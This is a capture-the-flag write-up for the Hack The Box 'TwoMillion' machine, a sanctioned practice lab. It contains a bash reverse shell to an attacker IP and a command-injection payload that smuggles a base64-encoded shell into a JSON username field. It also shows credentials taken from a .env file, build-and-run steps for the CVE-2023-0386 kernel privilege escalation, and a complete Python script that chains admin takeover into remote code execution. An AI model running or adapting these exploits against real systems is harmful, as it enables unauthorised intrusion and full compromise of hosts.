Skip to content

TwoMillion

Port scan

$ sudo nmap 2million.htb -p- --min-rate=10000 -T4 -sCV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web APP

$ gobuster dir -u http://2million.htb/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 162

http://2million.htb/invite

alt text

/js/inviteapi.min.js

eval(function(p,a,c,k,e,d){
    e=function(c){
        return c.toString(36)
        };
        if(!''.replace(/^/,String)){
            while(c--){
                d[c.toString(a)]=k[c]||c.toString(a)
                }
                k=[function(e){
                    return d[e]
                    }];
                    e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

The code defines two main functions:

verifyInviteCode(code) - Sends a POST request to /api/v1/invite/verify with a code

makeInviteCode() - Sends a POST request to /api/v1/invite/how/to/generate

alt text

alt text

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

alt text

alt text

alt text

GET /api/v1

{
    "v1":{
        "user":{
            "GET":{
                "\/api\/v1":"Route List",
                "\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
                "\/api\/v1\/invite\/generate":"Generate invite code",
                "\/api\/v1\/invite\/verify":"Verify invite code",
                "\/api\/v1\/user\/auth":"Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download":"Download OVPN file"
                },
            "POST":{
                "\/api\/v1\/user\/register":"Register a new user",
                "\/api\/v1\/user\/login":"Login with existing user"
            },
        "admin":{
            "GET":{
                "\/api\/v1\/admin\/auth":"Check if user is admin"
                },
            "POST":{
                "\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
                },
            "PUT":{
                "\/api\/v1\/admin\/settings\/update":"Update user settings"
                }
            }
        }
    }
}

alt text

add Content-Type: application/json to avoid "Invalid content type." error.

alt text

alt text

alt text

alt text

bash -i >& /dev/tcp/10.10.15.103/4445 0>&1

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=fn9jmkud82uk5igt5stoi6am6k
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 27

{
"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMDMvNDQ0NSAwPiYx | base64 -d | bash;"
}

alt text

www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

User Admin

$ ssh admin@2million.htb

admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

OverlayFS exploit

CVE-2023-0386 | GitHub

git clone https://github.com/xkaneiki/CVE-2023-0386

zip -r cve.zip CVE-2023-0386

scp cve.zip admin@2million.htb:/tmp

cd /tmp
unzip cve.zip

cd /tmp/CVE-2023-0386/
# ignore warnings
make all

# Start two terminals and in the first one type
./fuse ./ovlcap/lower ./gc &

# second one
$ ./exp

alt text

&: run in the background

ALL in one to RCE POC

import argparse, base64
import requests

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def generate_invite_code(target, session):
    url = f"http://{target}/api/v1/invite/generate"

    response = session.post(url, proxies=proxies, verify=False, allow_redirects=False)

    if response.status_code == 200 and response.json()["success"] == 1:
        data = response.json()["data"]
        encoded_code = data["code"]
        code = base64.b64decode(encoded_code).decode('utf-8')
        print("invite code is ", code)
        return code
    print("Generate invite code failed.", response.text)

def register_user(target, code, session):
    url = f"http://{target}/api/v1/user/register"
    data = {"code":code, "username":"test", "email": "test@htb.com", "password": "test1234", "password_confirmation":"test1234"}

    response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 302:
        print("Register user test succeed. test@htb.com:test1234")
    else:
        print("Register user failed.")

def user_login(target, session):
    url = f"http://{target}/api/v1/user/login"
    data = {"email":"test@htb.com", "password":"test1234"}
    response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 302:
        print("Login user test succeed.")
    else:
        print("Login user failed.")

def update_user_to_admin(target, session):
    url = f"http://{target}/api/v1/admin/settings/update"
    data = {
        "email":"test@htb.com",
        "is_admin":1
        }
    headers = {"Content-Type": "application/json"}
    response = session.put(url, json=data, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 200 and response.json()["is_admin"] == 1:
        print("Update user test to admin succeed.")
    else:
        print("Update user test to admin failed.")

def verify_user_is_admin(target, session):
    url = f"http://{target}/api/v1/admin/auth"
    response = session.get(url, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 200 and response.json()["message"] is True:
        print("Verify user test is an admin user")
    else:
        print("Verify user test is not an admin user")

def rce(target, session, lhost, lport):
    url = f"http://{target}/api/v1/admin/vpn/generate"
    payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    encoded_payload= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    print("Encoded payload is ", encoded_payload)
    data = {
        "username": f"test;echo {encoded_payload} | base64 -d | bash;"
        }
    headers = {"Content-Type": "application/json"}
    session.post(url, json=data, headers=headers, proxies=proxies, verify=False, allow_redirects=False)

if __name__=="__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="Target web server IP:PORT", required=True)
    parser.add_argument("-l", "--lhost", help="Local listener's IP", required=True)
    parser.add_argument("-p", "--lport", help="Local listener's port", required=True)
    args = parser.parse_args()

    session = requests.Session()
    session.get(url=f"http://{args.target}/")

    invite_code = generate_invite_code(args.target, session)
    if invite_code:
        register_user(args.target, invite_code, session)
        user_login(args.target, session)
        update_user_to_admin(args.target, session)
        verify_user_is_admin(args.target, session)
        rce(args.target, session, args.lhost, args.lport)